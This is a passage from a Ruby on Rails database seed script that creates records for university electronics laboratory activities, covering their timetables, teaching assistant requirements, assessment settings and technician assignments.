\"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a292.id).first_or_create!(assess_weight: 15.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a292.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a292.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a293 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 1)\n at293 = ActivityTimetable.where(activity_id: a293.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a293.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a293.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a293.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a293.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a293.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a294 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 3)\n at294 = ActivityTimetable.where(activity_id: a294.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a294.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a294.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a294.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a294.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a294.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a295 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"123\").first_or_create!(name: \"Power Amplifiers\",\n name_abrv: \"AMP3\", archived: false, in_drive: false, user_id: 4)\n at295 = ActivityTimetable.where(activity_id: a295.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must come after Operational Amplifiers (not Op-Amps)\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a295.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a295.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a295.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a295.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a295.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a296 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 2)\n at296 = ActivityTimetable.where(activity_id: a296.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a296.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a296.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a296.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a296.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a296.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a297 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 5)\n at297 = ActivityTimetable.where(activity_id: a297.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a297.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a297.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a297.id).first_or_create!(assess_weight: nil, notes: \"Assessed with PWM Resistive - should really be combined\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a297.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a297.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a298 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at298 = ActivityTimetable.where(activity_id: a298.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a298.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a298.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a298.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a298.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a298.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a299 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at299 = ActivityTimetable.where(activity_id: a299.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a299.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a299.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a299.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a299.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a299.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a300 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"128\").first_or_create!(name: \"RLC Circuits\",\n name_abrv: \"RLCC\", archived: false, in_drive: false, user_id: 4)\n at300 = ActivityTimetable.where(activity_id: a300.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a300.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a300.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a300.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a300.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a300.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a301 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"129\").first_or_create!(name: \"Simple Single Transistor Amplifier\",\n name_abrv: \"BJT\", archived: false, in_drive: false, user_id: 1)\n at301 = ActivityTimetable.where(activity_id: a301.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions. The two sessions should be as close as possible. Ideally on consecutive days.\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a301.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"BJT\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a301.id).first_or_create!(criteria: \"Must be familiar with simple transistor (BJT) circuits\n Must be confident constructing circuits and using digital multimeters and signal generators\n Must be confident helping students draw graphs and draw conclusions from measured data\",\n job_desc:\"Help students construct simple circuits using bipolar junction transistors\n Assist students to make current and voltage measurements on\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a301.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a301.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a301.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a302 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 3)\n at302 = ActivityTimetable.where(activity_id: a302.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a302.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a302.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a302.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a302.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a302.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a303 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 2)\n at303 = ActivityTimetable.where(activity_id: a303.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a303.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a303.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a303.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a303.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a304 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"131\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: false, in_drive: false, user_id: 5)\n at304 = ActivityTimetable.where(activity_id: a304.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a304.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Transformers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a304.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a304.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a304.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a304.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a305 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"132\").first_or_create!(name: \"Transformers & Coupled Circuits\",\n name_abrv: \"TFCC\", archived: false, in_drive: false, user_id: 2)\n at305 = ActivityTimetable.where(activity_id: a305.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"210 minutes x 2 sessions. 2 sessions should be same week or as close together as possible\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a305.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Transformers Coupled Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a305.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a305.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a305.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a305.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a306 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 5)\n at306 = ActivityTimetable.where(activity_id: a306.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a306.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a306.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a306.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a306.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a306.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a307 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 3)\n at307 = ActivityTimetable.where(activity_id: a307.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a307.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a307.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a307.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a307.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a307.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a308 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 2)\n at308 = ActivityTimetable.where(activity_id: a308.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: 4, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a308.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a308.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: 